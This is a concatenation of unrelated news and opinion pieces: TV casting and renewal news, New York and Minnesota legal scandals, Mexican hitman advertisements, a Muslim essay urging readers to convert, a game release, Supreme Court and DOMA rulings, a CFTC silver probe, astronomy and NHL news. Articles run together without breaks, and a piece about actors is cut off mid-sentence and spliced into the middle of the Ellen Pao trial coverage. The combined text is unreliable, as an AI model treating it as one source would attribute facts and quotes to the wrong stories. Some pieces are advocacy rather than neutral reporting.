Many of the original cast of American Crime Story‘s debut season — The People v. O.J. Simpson — are expected to reassemble for the next chapter in the Murphy-produced anthology show. Producers Nina Jacobson and Simpson confirm to Awardsline that writers went to New Orleans on a research trip for Season 2, which will tell of the American response to Hurricane Katrina. And O.J’s Marcia Clark, Sarah Paulson, says she intends to return to the series. “The Katrina story, to me, is a literal American crime,” Paulson told Deadline. “It says something about a uniquely American attitude, and I find it incredibly potent.” The plan, as with Murphy’s other anthology series American Horror Story and Scream Queens, is to get as many as possible of the cast from The People v. O.J. Simpson. John Travolta, who played attorney Robert Shapiro on the O.J. series and flew to Louisiana after Katrina to assist in the rescue effort, already has expressed his interest.
Anthony D’Alessandro contributed to this report.ALBANY — The scandal engulfing Gov. Paterson claimed another victim last night as State Police Superintendent Harry Corbitt was forced out after he came under fire for allowing a senior officer to repeatedly contact a woman who charged she was attacked by a top aide to the governor.
Corbitt, handpicked for the job by Paterson, contended he had decided on his own to retire at the end of today — but sources told The Post he had little choice but to get out or find himself fired because of his conduct.
“He was toast,” said a source.
Also last night, it was reported that Paterson urged a female state employee who contacted Sherr-una Booker, the Bronx woman who alleged she was attacked, to tell her he wanted the incident to disappear.
“Tell her [Booker] the governor wants her to make this go away,” Paterson told Deneane Brown before she reached out to Booker, The New York Times reported on its Web site.
POLL: SUPPORT FOR GOV AMOUNG WOMEN DROPS
PATERSON PLEADS FOR MORE TIME
EXPERTS: RAPS ARE LOOMING
EDITORIAL: ONE DOWN
However, a law-enforcement source and a spokesman for Paterson both denied that Brown had used those exact words.
The source said it wasn’t clear if the governor wanted Booker to agree to end her legal efforts to obtain an order of protection against her boyfriend, David Johnson, Paterson’s top adviser.
Paterson may also have been trying to get Booker to assist him in knocking down widespread rumors that damaging newspaper reports were about to be published, the source said.
Corbitt had been tapped by Paterson to clean up the already scandal-scarred State Police two years ago in the wake of Gov. Eliot Spitzer’s resignation. Corbitt yesterday insisted he was tired of “being attacked every day” after it was revealed that Maj. Charles Day, head of the governor’s security detail, sought to persuade Booker, a divorced mom, to drop an effort obtain court protection against Johnson.
Corbitt, who publicly contended that it was appropriate and standard practice for the State Police to get involved in such a controversy because it involved someone close to the governor, has been widely condemned by state lawmakers and others for his actions.
“I’m a cop, a good cop, so to continue to face that pressure — and even pressure from my family — the media showing up in my driveway, that’s unacceptable,” Corbitt said during an interview on Albany’s Capital News 9.
“So for my own health, for my own sanity, it’s the right thing to do.”
Corbitt was ripped for claiming that the State Police’s contacting of Booker — which she described in court as harassment and pressure to drop her case — was routine.
“We never pressured her, at least what I was advised; we never pressured her not to press charges,” Corbitt told the Times. “We just gave her options.”
Booker had told a 911 dispatcher and a Family Court judge that Johnson, one of Paterson’s closest aides and longtime friend, choked and beat her last Halloween.
Paterson was revealed to have talked to Booker a day before she decided to drop her quest for the protection order.
The governor suspended Johnson without pay from his $132,000-a-year job last week.
Corbitt and Deputy Superintendent Pedro Perez testified under oath Monday before Attorney General Andrew Cuomo’s investigators.
Assemblyman Hakeem Jeffries (D-Brooklyn) praised Corbitt’s departure as “entirely appropriate, and hopefully it is a substantial first step toward reforming an institution desperately in need of change.”
Corbitt came under the most intense heat last week, after Paterson’s deputy secretary for criminal justice, Denise O’Donnell, resigned in protest of what she claimed was Corbitt’s improper use of the State Police.
Corbitt joined the State Police more than 30 years ago and rose through the ranks to become a colonel and then deputy superintendent. He initially retired in 2004.
Corbitt was recalled by Paterson to replace Preston Felton as head of the State Police after Spitzer’s resignation and in the wake of Spitzer’s use of the State Police to gather purportedly damaging material on then-Senate Majority Leader Joseph Bruno.
Last night, Cuomo, in his first public comment on the politically explosive probe, promised to complete it “as far as we can.”
fredric.dicker@nypost.comUPDATE: Katie Brenny responds — see the bottom of the post.
This week, a remarkable trial concluded with a detailed finding of facts by a judge in Minnesota. He awarded a woman named Katie Brenny almost $360,000 after a three-year lawsuit. And while there’s been a small amount of media attention paid to Brenny’s victory, it’s received little national media exposure.
And that’s a shame, because the 38-page decision by Hennepin County Judge Thomas M. Sipkins contains interesting details that describes a startling case of overt discrimination on a college campus.
In 2010, Kathryn “Katie” Brenny was a 30 year old professional golfer living in North Carolina when she was approached that July by John Harris, the new director of golf at the University of Minnesota.
Harris was a pro golfer himself, and today, at 61, he plays on the Champions Tour.
But in the summer of 2010, he needed a new coach for the university’s women’s team. He wanted to know if Brenny was interested. He told her that she would be responsible for the things a head coach does: helping players improve, recruiting new players, and traveling with the team to tournaments, as well as doing the other administrative duties that come with the job.
Brenny had played four years at Wake Forest before turning pro, and figured she knew something about what coaching a college team would be like. Excited at the opportunity, Brenny sent her resume. Harris, meanwhile, sent her a list of job duties which were identical to those for the coach of the men’s team, John Carlson.
Harris needed a new women’s coach because he’d driven away the previous one, a woman named Kris Wessinger. The university’s “swing instructor,” Ernie Rose, had told Harris that he didn’t think Wessinger was up to the job, so Harris essentially demoted her, giving her the job of “Director of Communications” and asked her to take a $13,000 decrease in salary. Wessingner turned down the new job and left for another school instead.
Harris had trusted Rose’s judgment about Wessinger, and no wonder: Rose was married to Harris’s daughter, and Harris had brought his son-in-law on with him, even though it was technically against the university’s policy for a non-college-graduate like Rose to hold such a position.
Before he had snagged the swing instructor job, Rose had spent three years as his father-in-law’s caddie. He was also father to Harris’s two grandchildren.
Brenny soon found that she needed to impress both Harris and Rose to get the coaching job. But she did just that, passing an interview with Rose with flying colors, and then even playing a round of golf with Rose.
After the round of golf, in August 2010, Brenny was offered the job. And it’s clear from court testimony that at this point, everyone involved was thrilled with the situation. Harris and Rose were convinced they had hired the right person for the job.
About a week after Brenny decided to take the job, Rose had a telephone conversation with Kris Wessinger, the previous women’s coach.
Wessinger testified that Rose told her he had made the decision to hire Brenny after facing a choice between a woman of about 50 he believed was a lesbian, and a woman of 30. (In other words, for Rose it was an easy decision — he picked the young non-lesbian.)
Wessinger could tell by what Rose was saying that he didn’t realize that the woman he had hired, Brenny, was also a lesbian. So she told him.
(There was testimony by two team members that Rose had told them it was Harris who said to him, “Who should I hire, the 50-year-old lesbian with kids or the one who is 30 and fit?” Rose and Harris each denied saying these things, but the judge didn’t believe them.)
Judge Sipkins noted that at the same time this was happening, Harris was pushing the university to increase his son-in-law’s salary. Although they were already making a “major exception” because Rose wasn’t a college graduate, the administration raised him to $49,500 — more than either head coach was making.
Rose claimed in testimony that he didn’t tell his father-in-law about what he’d learned in the phone call from Wessinger — that Brenny was a lesbian — before Brenny started her job.
But the judge didn’t believe him. In fact, he seemed to find very little Harris or Rose said under oath credible.
Brenny started her job on August 30, 2010 and she immediately sensed that something was different. She saw very little of Harris that first week, and he avoided eye contact with her.
On her second day on the job, Brenny found out from the men’s coach, Carlson, that she wouldn’t be traveling with the women’s team to a tournament in South Carolina, which she had been told would be one of her job’s major responsibilities.
Instead, she was told she’d be helping out with a men’s tournament at home.
Harris had decided to change Brenny’s job duties by her second day on the job — too soon for it to be a result of her performance, the judge pointed out.
Over the next few days, it became obvious that Harris was looking for any reason to justify further changes to Brenny’s job in the hopes, the judge believed, that Brenny would quit on her own.
On September 7, for example, Brenny accompanied one of the women’s team players, Michele Edlin, during a tournament qualifying round. Later, Harris called her and asked her what Edlin had shot. Brenny said she was driving in her car and didn’t have the score handy, but that it was “about 77.” When she got done driving, she confirmed the actual score for him.
But Harris pounced on Brenny not knowing the score as evidence that she was not up to being head coach.
The judge didn’t buy it. He understood that Harris was just looking for reasons to get rid of her, and he had made up his mind about her after learning that she was a lesbian.
The judge called it a “pretext” for Harris’s “discriminatory treatment” of Brenny. Another example was that Harris claimed Brenny had asked to go home early on her first day on the job. The judge instead believed Brenny and the team golfers, who said she came to work early and left late.
Rose claimed that two players came to him in September, saying they were concerned about having a lesbian for a coach, and asked if they would have to shower in front of Brenny.
The judge didn’t buy that, either. The players themselves testified instead said that the conversation never happened, and they were supportive of Brenny.
It was clear to the judge what had happened: Harris and Rose thought they were hiring a non-lesbian, and when they found out Brenny’s actual sexual orientation, they decided to find a way to force her out of the job.
On September 9, Harris told Brenny that she couldn’t even talk to the players on the team, and she should limit her communications to one mass e-mail to the team per day.
Harris told her she better make it a good e-mail.
The next day, after Brenny and Rose disagreed about the way she’d handled some instruction for one of the women, Harris told her that she could no longer talk to the women about golf. From then on she should talk to them only about “boys, life, and school.”
He also told her she wouldn’t be traveling to any tournaments and wouldn’t be involved in answering recruiting e-mails.
After berating her at that meeting, Brenny went back to her office in tears. But she had to drive two players to the airport, so she wore sunglasses to conceal from them that she’d been weeping.
Somehow, Harris then seized on Brenny wearing sunglasses during that drive as another example of her not performing her job properly. (Clearly, he was looking for any reason to axe her.)
A few days later, Brenny began complaining to the school’s athletic director about the way she was being treated. Here she was, only two weeks into her job, and things were becoming unbearable. Instead of the coach of a Division I women’s golf team, she had become an administrative assistant. She would never have moved from North Carolina if she knew this was going to happen.
Harris, meanwhile, complained to those same administrators that Brenny was not the person he had hired, and that he was unhappy with her performance.
After Brenny met with administrators, they presented her with a new job description — one that reinforced what Harris had done to her duties.
She then wrote up a letter, explaining that she had been hired to be a coach, but then her duties had been taken away. She pointed out that the men’s coach, Carlson, wasn’t going through the same thing. He still had the job that she was hired to do for the women. She asked the school to reconsider the situation, and let her do the job she was hired for.
She presented the letter at a meeting with Harris and two other administrators.
“After reading Brenny’s letter, Harris firmly jabbed his finger at the letter, flicked it across the table and stated: ‘I hate this.’ Harris told Brenny that the women players on the team were scared of her and hated her,” the judge wrote, and said Harris’s assertion simply wasn’t credible.
The judge also found that after the meeting, Harris wrote a letter to the other administrators explaining why he’d changed Brenny’s job duties, and accused her of things that were not true.
After that, things only got worse. And then, on October 27, Brenny had a meeting with Harris in his office, with the men’s coach, Carlson, present.
“Brenny was asked by a ‘smirking’ Harris, ‘did you really think I would let you travel alone with those five girls?’,” the judge wrote.
Brenny could no longer work in that kind of environment, and she decided to quit. She asked for a severance, and signed a separation agreement.
But after she did so, she heard from one of the players that she believed Harris had wanted Brenny out because he’d found out she was gay.
For the first time, Brenny heard about what Rose had told a couple of players in September about it. And Wessinger, who first told Rose about Brenny’s orientation, apologized to her for doing so.
Brenny rescinded her severance, and told the university she’d changed her mind: she wasn’t quitting, and she wanted to be allowed to do the job she was first hired to do.
But the university told her that if she tried to return, they would assign her to a job selling football tickets at the school’s stadium.
She confirmed her termination.
Then she sued.
After moving back to North Carolina, Brenny began working with children at a golf instruction business, The First Tee in Charlotte. When her partner moved to New York for a job, Brenny then went to work for The First Tee’s New York location. She’s reportedly thriving there.
Harris resigned from the University of Minnesota in June 2011, only 11 months after he had started the job. His son-in-law, Ernie Rose, also left soon after. Brenny originally named Harris in her lawsuit along with the Board of Regents of the University of Minnesota, but the court later dropped Harris from the suit. (That was before the original judge was replaced by Sipkins.)
Judge Sipkins this week awarded Brenny more than $160,000 in lost wages (doubled to $334,588), $25,000 for her mental anguish, and interest on her lost wages dated back to October 27, 2010, as well as her attorneys’ fees, and costs.
We sent a message to Brenny, hoping to ask her about winning the case, but she hasn’t responded. She hasn’t spoken to other media either. We can’t blame her if she’s just hoping to put the entire matter behind her.
We’ll give the last word to Judge Sipkins, who attached a ‘memorandum’ to the end of his decision, which reads like a final emphasis on his finding…
In its closing argument and post-trial memorandum, the University argues that Ms. Brenny ‘never gave the job a chance.’ In fact, the contrary is true…But for these illegal actions, the Court is persuaded that Ms. Brenny would still be the coach of the women’s golf team at the University.
UPDATE: Katie Brenny e-mailed us this statement… “I’m grateful for the judge’s ability to discern the truth. This is a win for me, but it’s so much more than that — it’s a victory for those who believe in equality, and it’s progress for college athletics. Hopefully, my experience and this lawsuit will help others by serving as a deterrent for discrimination in the future. It’s clear that we are moving forward. I just can’t tell you how grateful I am that the judge was able to see through it all and write up the decision he did. This is a huge win for coaches and student-athletes.”New Girl is not gone, girl. But it will be soon.
Fox has renewed the Zooey Deschanel-fronted comedy for an abbreviated seventh and final season, TVLine has learned.
Although a Fox rep declined to confirm an episode count, sources say that the farewell season will consist of eight installments (something co-star Jake Johnson has since confirmed on Twitter).
#NewGirl has been picked up for 8 final episodes! Very excited to be able to finish what we started. Also Happy Mother’s Day, ladies. — jake johnson (@MrJakeJohnson) May 14, 2017
Given the series’ bubble status, producers packed last month’s Season 6 finale with closure. “I think it would be really disappointing to have the show go off the air and not give the audience a satisfactory conclusion to a story line that’s been the engine of the show since Season 1,” EP Brett Baer previously told TVLine of the decision to give Deschanel’s Jess and Jake Johnson’s Nick (aka the series’ central couple) a happy ending. “That said, we’re obviously hoping [for a Season 7]. We have ideas for how to propel the show into the future. But we didn’t want to go off the air without answering this question.”
New Girl was a breakout hit when it premiered in 2011, drawing 10.3 million viewers and a 4.8 demo rating; it was Fox’s biggest comedy bow since The Bernie Mac Show launched in 2001. Ratings cooled with each subsequent season, with its sixth season averaging 2.7 million viewers and a 1.3 demo rating.
Thoughts on New Girl‘s 11th hour reprieve? Excited that this means we’ll (likely) get to see Schmidt and Cece become parents? Hit the comments!Just a click away: Online 'killers' boast a professional service Mexican police are investigating a number of classified ads on the internet which purport to be from hitmen offering the services. The ads can be found alongside ones for private tuition or domestic help. In one of them, a person describing himself as an ex-military killer offers "discreet, professional services" for $6,000 (£3,000). Hired killers are a problem across a country which has seen at least 1,400 killings this year. Most of the killings are related to drug cartels battling for control of the illegal drugs trade to the US. Reports say the cartels have camps to train killers. The dead include dealers and gunmen as well as more than 400 police officers and other public officials, this year. Some 25,000 troops are now deployed around Mexico to try to break the cartels. But correspondents say an ineffective justice system means many killers are never caught. Help needed That may be why they are prepared to publically look for work. In the online adverts on one classified site, one advert reads: "Assassin ex-military professional and discreet. Work guaranteed in 10 days or less. Have worked in Spain. $6,000. Serious requests only" and gives a hotmail address as a contact. Another offering "hitman for hire" asks: "Problems with a certain person? Do you want me to solve it? Write to me. 100% professional, we don't take money in advance." The classified ads site also appears to be a place where those needing the services of a killer might go. One advert in the Wanted section reads: "I need to contact a killer for a probable contract in the DF (Federal District of Mexico) must be reliable. it is a simple job." Police spokesman Miguel Amelio said the problem of hitmen is one that "the whole country is facing: people who offer their service and charge for killing someone". He told the Reforma newspaper that police had not ruled out the fact that the ads were fake, but all were being investigated.
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StumbleUpon What are these?First it was the Da Vinci Code controversy - It was everywhere! Dan Brown's book said Jesus in not divine or God, and the gospels as we know them, had been changed, and after Jesus stay here on earth, men raised his status to the level of God. Could any of this be true?
Now the Christian scholar, Professor Bart Ehran's book "Misquoting Jesus" claims they do not even have a "copy of a copy of a copy of a copy of a copy" of anything from the original writings of any of the writers of the Old or the New Testament. What does this do to the faithful?
Ancient secrets of the Church, hidden for centuries have actually been revealed and published in books prior to the Da Vinci Code. Baigent and Leigh have produced other books from researchers point of view over the last two decades, including "Dead Sea Scrolls Deception", "Holy Blood, Holy Grail", and "Messianic Legacy." These books were topics of hot debate when they came out in the early 90's and certainly they have fueled an ongoing interest into just exactly who was this man Jesus, what was his message and what happened to him?
Islam provided solid evidence over 1,400 years ago. The answer, according to Muslim scholars has been in the Quran for over fourteen hundred years Some may be surprised to learn, Muslims believe in the miracle birth and other miracles associated with Jesus. They actually consider him as the "Messiah" and they even say, "peace be upon him" when mentioning his name. But, they are quick to negate any connection between God and Jesus as a partnership or God-head, and they rule out the notion of God having any son (or daughter for that matter).
Muslim scholars "broke the code" like this: Creation itself tells us there is a creator and from the beginning of time – Allah, (the One God in Arabic) alone is to be worshiped. This is clear teaching throughout the Old testament (Torah), the scriptures that Jesus himself read and taught from. God is one not one of three; for example: ‘He is God; there is no other besides Him’. (Deuteronomy 4:35). The same is mentioned in the book of Mark in the New Testament, chapter 12, verse 29, when Jesus, peace be upon him, had been asked about the Greatest Commandment he replied, "To know, O Israel, the Lord your God is One Lord; and you have to love Him with all your heart and all your mind and all your strength."
According to the oldest and most authentic copies of manuscripts and scrolls available throughout the centuries, Jesus, peace be upon him, never claimed to be God, or the creator, or the One to pray to, nor did he tell his followers to revere him as God. These notions appear on the lips of others who came along decades and even centuries later. While Jesus was on earth he did not claim to be the creator or ask us to revere him as God. His miraculous birth is a sign of his prophethood: “Verily, the likeness of Jesus before Allah, is the likeness of Adam. He (Allah) created him from dust and said “Be!” and he was” (Quran 3:59). Like all the great and noble prophets of Allah such as Adam, Abraham, Moses, Isaac and David, Jesus came with one message: Worship, love, obey and submit to the one true God, Allah, the creator of everything and do not worship anything besides Allah.
Throughout history, people have taken to worship things or people alongside Allah, or just worshiping something else like power, status or money. Even the names of religions seem have more to do with the creation and less or nothing to do with the Creator. For example: Buddhism – Buddha (the name of a man), Confucianism – Confucius (the name of a man), Hinduism – Hind (the name of an area), Judaism – Judah (the name of a tribe) and Christianity – Christ (the name of a great prophet).
Islam is different. Islam is a word coming from the verb "aslama" and it carries the meaning of "surrender", "submission", "obedience", "sincerity" and "peace" between you and Almighty Allah (God) and not to any human or anything within creation. Anyone who practices Islam submits to and worships Allah, alone without any partners of any kind.
The Quran states: "There is only One God (Allah) then have reverence for Me and fear Me (and Me alone)." To Him belongs whatever is in the heavens and on earth, and to Him is duty due always: then will ye fear other than Allah?" (Quran 16:51-52)
Isn’t it time you join Jesus, the son of Mary, along with all of the other Prophets of Allah and practice the "Submission to the Will of God" (Islam)?
Or simply put: "Worship the Creator - and not His Creations!"Share. Pirate Warriors 2 can be had for $50 on September 3, only on PSN. Pirate Warriors 2 can be had for $50 on September 3, only on PSN.
The latest game in the One Piece series, One Piece: Pirate Warriors 2, will be released in North America next month as a digital exclusive on PlayStation 3.
Pirate Warriors 2 was announced earlier this year as a PlayStation 3 exclusive, but ended up being released in Japan in March on both PlayStation 3 and PlayStation Vita. For its western release, Namco Bandai announced it would only be released on PS3, no doubt due in part to Vita's struggles.
The publisher today announced the ways in which the game can be obtained will, in fact, be even more limited -- it will only be available as a digital game on the PlayStation Store. It also confirmed the game will be released on September 3 for $49.99.
Exit Theatre Mode
Pirate Warriors 2, like its predecessor released last year (which received a 6.0 in IGN's review), takes the One Piece license and crosses it with the style of gameplay found in Dynasty Warriors, another series that developer Tecmo Koei is responsible for. It's not a comparison Namco Bandai shies away from; today's press release even mentions the comparison itself.
"In One Piece: Pirate Warriors 2 players will be able to immerse themselves into the 'New World' and dive into huge power clashes that can only be seen in game," the press release states. "With a very expansive cast of Pirates and Marines to choose from, players will be able to harness the incredible powers and stylish techniques of all their favorite characters and take down hordes of enemies that will flood the screen in exciting Dynasty Warriors style."
Does Pirate Warriors 2's digital-only release affect your buying decision? Or does it cause you to hold out hope that the Vita version might make it out of Japan one day? Let us know in the comments.
Chris Pereira is a freelance writer who spends his spare time agonizing over the final seasons of The X-Files. Check out what he's saying on Twitter and follow him on IGN.Marlon Brando, Al Pacino, Robert Redford -- these men are arguably among the greatest |
defense painted Pao as someone who was incredibly difficult to work with. They used testimony from coworkers, excerpts from email conversations, the nearly 100 handwritten notebooks she kept, and documents like her "resentment chart," which listed Pao's issues with her coworkers.
"Ellen Pao made clear it was all about her and not the good of the partnership," said Hermle, an enthralling and brutal defense attorney. "This corrosive pattern of attacks alienated her coworkers, leading to tension, mistrust and friction."
The defense has argued that when Pao realized she was not doing well at Kleiner, she concocted the sexual discrimination narrative, selectively deleting texts and sending emails to herself to create a paper trail that supported her claims.
Related: Biased job ads? This startup has a fix
Exelrod dismissed stories of Pao's tense relationships with coworkers as "distractions"
"What we're talking about is performance, not distractions. This case should be about what Ms. Pao did for Kleiner Perkins," said Exelrod, who recapped her successes and early positive performance reviews.
The case ended with a passionate final rebuttal from Pao's lawyer Therese Lawless.
"[Kleiner Perkins] is not taking responsibility for its culture, where men are treated differently than women, where men are promoted over equally qualified women, where men behave in a certain way and are rewarded. And where women, when they display the same... characteristics, are penalized."
Now the jury must now decide which version of Pao -- and Kleiner Perkins -- is closest to the truth.WASHINGTON -- Conservative justices on the Supreme Court expressed skepticism Wednesday about whether the federal government should still be requiring preclearance of voting system changes in certain places with a history of racial discrimination in elections.
Justice Antonin Scalia suggested that the continuation of Section 5 of the Voting Rights Act represented the "perpetuation of racial entitlement," saying that lawmakers had only voted to renew the act in 2006 because there wasn't anything to be gained politically from voting against it.
"Whenever a society adopts racial entitlements, it is very difficult to get out of them through the normal political processes," Scalia said during oral argument in Shelby County v. Holder.
"Even the name of it is wonderful, the Voting Rights Act. Who's going to vote against that?" Scalia wondered. He said that the Voting Rights Act had effectively created "black districts by law."
But liberal justices argued forcefully that Section 5's preclearance requirement was still necessary and had proved to be an effective way for the Justice Department and the courts to stop discrimination at the polling place. Justice Elena Kagan said the formula "seems to be working pretty well."
Justice Sonya Sotomayor said that Shelby County, Ala., probably wasn't the right part of the country to be challenging a key provision of the Voting Rights Act.
"Some parts of the South have changed. Your county pretty much hasn't," said Sotomayor. "You may be the wrong party bringing this."
"Under any formula that Congress could devise, it would still capture Alabama," added Kagan.
Justice Anthony Kennedy, often the swing vote between the Supreme Court's liberal and conservative blocs, didn't offer progressives much hope that he would find Section 5 constitutional, saying that while the provision was necessary in 1965, this was 2013.
"The Marshall Plan was very good, too -- the Northwest Ordinance, the Morrill Act -- but times change," Kennedy said.
If Congress wants to "single out" states, he said, the legislators should "do it by name." He repeatedly described Congress as having "reverse engineered" the formula originally used in the Voting Rights Act to ensure that certain states would be covered by Section 5. Lawmakers didn't take the "time and energy" to come up with a proper formula for which states should be subject to preclearance, said Kennedy.
Chief Justice John Roberts sharply questioned Solicitor General Donald Verrilli, asking him whether it was the position of the U.S. government that residents of Southern states -- most of the jurisdictions covered by Section 5 are in the South -- are more racist than those of Northern states.
Verrilli said that was not the U.S. position in the case. He also pointed out that the Justice Department has only objected to a "tiny fraction" of the proposed electoral changes submitted under the preclearance process.
Cases under the Voting Rights Act's Section 2, which can be brought against any jurisdiction in the country, are much more expensive, Verrilli said, and often demand after-the-fact litigation rather than preventing questionable voting changes before they go into effect.
Congress wasn't working from a "blank slate" when it reauthorized the act in 2006, the solicitor general said. He argued that Congress was well within its rights to renew Section 5 for another 25 years and had extensively studied the issue before voting overwhelmingly to do so.
Kagan asked a lawyer for Shelby County who should be able to decide when the discrimination problems that the Voting Rights Act was meant to address had ended.
"Who gets to have that call? Is it you? Is it the court? Is it Congress?" she asked. When the lawyer replied that the Supreme Court should answer that question, Kagan said she hadn't realized the court was being given a "big new power to decide whether racial discrimination has been solved."A federal judge in Connecticut on Tuesday ruled that Section 3 of the Defense of Marriage Act (DOMA) violates the U.S. Constitution’s guarantee of equal protection under the law.
Judge Vanessa L. Bryant, an appointee of President George W. Bush, held that the law was unconstitutional because it prohibits legally married same sex couples from receiving federal benefits. DOMA defines marriage as the legal union between a man and a woman, contradicting six states that allow same sex couples to marry.
“Section 3 of DOMA obligates the federal government to single out a certain category of marriages as excluded from federal recognition,” Bryant wrote, “thereby resulting in an inconsistent distribution of federal marriage benefits as all marriages authorized by certain states will receive recognition and marital benefits, whereas only a portion of marriages authorized by other states will receive federal recognition and benefits.”
The case Pedersen v. Office of Personnel Management stems from a lawsuit filed by Gay & Lesbian Advocates & Defenders (GLAD) in November 2010 on behalf of six married same sex couples and one widower from the state of Connecticut. The plaintiffs alleged that DOMA interfered with Family Medical Leave Act benefits, federal laws for private pension plans, federal laws concerning state pension plans, federal income taxation, social security benefits, and employment benefits for federal employees and retirees.
“I’m thrilled that the court ruled that our marriage commitment should be respected by the federal government just as it is in our home state of Connecticut,” said Joanne Pedersen, who is a plaintiff with her spouse, Ann Meitzen. Pedersen is unable to cover Ann on her health insurance plan because of DOMA.
“I loved working for the Navy for many years, and now that I am retired I now just want to care for my wife and make sure we can enjoy some happy and healthy years together,” Pedersen said. “DOMA has prevented us from doing that.”
The Obama administration has refused to defend the statute, but the U.S. government is still defending the law thanks to Republicans in Congress.
After Obama directed the Department of Justice to no longer the law, the House Bipartisan Legal Advisory Group (BLAG) voted along party lines to direct the House General Counsel to appointed an attorney to represent the government in the case. The five-member advisory group has the authority to instruct the non-partisan office of the House General Counsel to take legal action on behalf of the U.S. House of Representatives.
Courts across the country have ruled that Section 3 of DOMA violates the Fifth Amendment to the Constitution.
[Image via Nikolai Alekseev, Creative Commons licensed]It is somehow fitting that on the day when even more undisputed evidence is revealed, surrounding the most brazen market manipulation scheme in history - one involving the "unmanipulable" Libor benchmark rate which serves as the foundation for hundreds of trillions in interest rate sensitive instruments - that the CFTC would also come out moments ago, and announce that in its long-running investigation of alleged manipulation in the silver market... there is absolutely nothing wrong.
Reuters reports:
The U.S. Commodity Futures Trading Commission on Wednesday said it has closed its long-running investigation into complaints about manipulation in the silver markets, and is not recommending charges. The CFTC publicly confirmed the probe in September 2008. At the time, the agency had received complaints about whether the silver futures contracts traded on the Commodity Exchange Inc (COMEX) were being manipulated. "Based upon the law and evidence as they exist at this time, there is not a viable basis to bring an enforcement action with respect to any firm or its employees related to our investigation of silver markets," the CFTC said in a statement.
Just like that, case closed. Because while every bank was involved in such wholesale manipulative activity as Libor, nobody, nobody dared to manipulate by banging the close, open and everything in between, or slam and take out the entire bid stack in key inflection points, something as simple as paper silver.
And now, we go back to everyone's favorite CFTC "good cop" Alexander Godunov Bart Chilton who will make the case how aggressively the CFTC pursue every and all instances of precious metal manipulation.Reports that President Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE campaign aides communicated with Russian intelligence officials show remarkable parallels to the Watergate scandal, Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE’s former campaign manager, Robby Mook, said Wednesday.
“It is extremely strange to me that a member of any American presidential campaign would be speaking to Russian intelligence officials,” Mook said on CNN.
“And it’s particularly bizarre, given the fact that we know that Russian intelligence officials broke into the [Democratic National Committee], stole documents and handed them to WikiLeaks for the purpose of hurting Hillary Clinton and helping Donald Trump.”
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“The parallels to Watergate here are eerie, I have to say,” he said.
The Watergate scandal began with a break-in at DNC offices and snowballed into a nationwide cover-up scandal, ultimately bringing down President Nixon.
Mook also argued that each new development in the Trump saga gets “closer and closer” to the president himself.
The New York Times reported Tuesday that members of President Trump’s campaign repeatedly communicated with Russian intelligence officials in the year before the presidential election.
The story came a day after former national security adviser Michael Flynn resigned from his post amid reports that he discussed U.S. sanctions against Russia with the country’s ambassador to the U.S., Sergey Kislyak.
Flynn previously denied talking about sanctions with Kislyak. But the Justice Department reportedly sent a warning to the White House late last month expressing concerns that Flynn was not honest with White House officials about his conversations with Kislyak and that he could be vulnerable to Russian blackmail.
White House press secretary Sean Spicer said at his daily briefing on Tuesday that Trump had known for “weeks” that Flynn was misleading administration officials, including Vice President Pence, about the Russia conversations.Move over, Charlie Brown: NASA has found its own Great Pumpkin, and it’s quite a bit greater.
Using data from NASA’s Kepler and Swift survey missions, astronomers have discovered a group of fast-spinning, X-ray slinging orange giants. These “pumpkin stars,” so-named for their squashed appearance, may have been created by the merging of two sun-like stars in close binary systems. In other words, two closely orbiting stars appear to reach out and clasp hands like ice skaters in an accelerating spin.
“These 18 stars rotate in just a few days on average, while the sun takes nearly a month,” Steve Howell, lead author and senior scientist at NASA’s Ames Research Center, said in a statement. “The rapid rotation amplifies the same kind of activity we see on the sun, such as sunspots and solar flares, and essentially sends it into overdrive.”
Stars in this particular group produce X-rays at more than 100 times the sun’s peak rate. The “most extreme” member, a K-type orange giant named KSw 71, emits 4,000 times more X-rays than the sun does at its solar maximum. A study detailing this cosmic pumpkin patch was published in the Astrophysical Journal on Monday.
Researchers used Kepler data to determine the sizes and rotation periods of 10 such pumpkin stars. Though relatively similar to our sun in terms of surface temperature, these orange masses were 3 to 10 times larger.
All were giants or subgiants, advanced stages of stellar evolution caused by the depletion of hydrogen fuel. Main-sequence stars, which are generally powered by nuclear fusion, grow large as fused hydrogen atoms build up around the core.
Researchers say their findings may support the work of astronomer Ronald Webbink. In close binary systems, which include two sun-like stars in close proximity, the growth of one star into a giant would theoretically destroy the other.
About four decades ago, Dr. Webbink suggested that these stars would instead merge to form a single, fast-spinning giant. For a while, the new star would be enclosed in an “excretion disk” of expelled gas. That disk would disperse over about 100 million years, revealing an active star.
“Webbink's model suggests we should find about 160 of these stars in the entire Kepler field,” co-author Elena Mason, a researcher at the Italian National Institute for Astrophysics Astronomical Observatory of Trieste, said in a statement. “What we have found is in line with theoretical expectations when we account for the small portion of the field we observed with Swift.”
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It’s not the first time our cosmos has shown its Halloween spirit. In 2015, as young goblins went door-to-door in search of candy, an asteroid passed overhead. But it wasn’t just any asteroid – it was a dead comet, and it looked eerily like a skull.
SPACE.com’s Calla Cofield reported:The Arizona Coyotes aren’t leaving the Phoenix area.
Sure, they may leave Glendale and Gila River Arena after the team’s two-year lease runs out. But leaving the desert seems unlikely at this juncture.
The area is the 12th largest television market in the United States. It has about 4.5 million people living in its confines. The state of Arizona has 7,329 USA Hockey registrants, which is more than double Tennessee, another non-traditional state with an NHL team.
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“I think there’s still confidence in the marketplace,” NHL deputy commissioner Bill Daly said. “It’s kind of a perfect storm of circumstances that have made it difficult for that club to be successful.”
Can Arizona be a successful market?
The Coyotes haven’t posted home attendance greater than 14,000 since 2008-09 – the year all their ownership issues surfaced.
Since then, their highest average announced home attendance for a season was 13,924.
Not only have the Coyotes been fighting with their home city, they also have to fight with an incredible amount of distractions in Arizona in the winter. Between its golfing and outdoors scene, the Cardinals and the Phoenix Suns, the Phoenix area provides a large amount of activities that have nothing to do with hockey.
“There’s so much competition for your leisure time down here,” Team co-owner Anthony LeBlanc said. “Do you want to sit in a hockey arena that’s 29th in the league, or do you want to go golfing? Or do you want to go hiking the mountains or go to a NASCAR race. We understand that.”
